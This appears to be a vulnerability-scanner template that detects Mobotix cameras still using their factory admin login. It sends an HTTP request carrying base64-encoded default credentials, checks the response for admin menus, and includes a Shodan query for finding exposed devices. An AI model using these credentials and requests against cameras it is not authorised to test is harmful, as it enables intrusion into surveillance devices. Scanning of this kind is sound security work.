id: mobotix-default-credentials

info:
  name: Mobotix - Default Login
  author: robotshell
  severity: high
  description: Mobotix contains a default admin login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.mobotix.com/sites/default/files/2020-01/mx_RM_CameraSoftwareManual_en_200131.pdf
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 2
    shodan-query: title:"Mobotix"
  tags: mobotix,default-login,webcam,iot

http:
  - raw:
      - |
        GET /control/userimage.html HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /control/userimage.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46bWVpbnNt

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "!contains(body_1, 'Admin Menu')"
          - "contains(body_2, 'Admin Menu') || contains(body_2, 'Setup Menu') || contains(body_2, 'Audio on')"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

# digest: 490a00463044022009ee48606feca69c1a67644c800e232f62f05bf5757c6f705e528759b8f65ab402200159c7b1adddeb9b50a760b151702425875cc4f413ec07ad9dfcb4a6b50da75b:922c64590222798bb761d5b6d8e72950
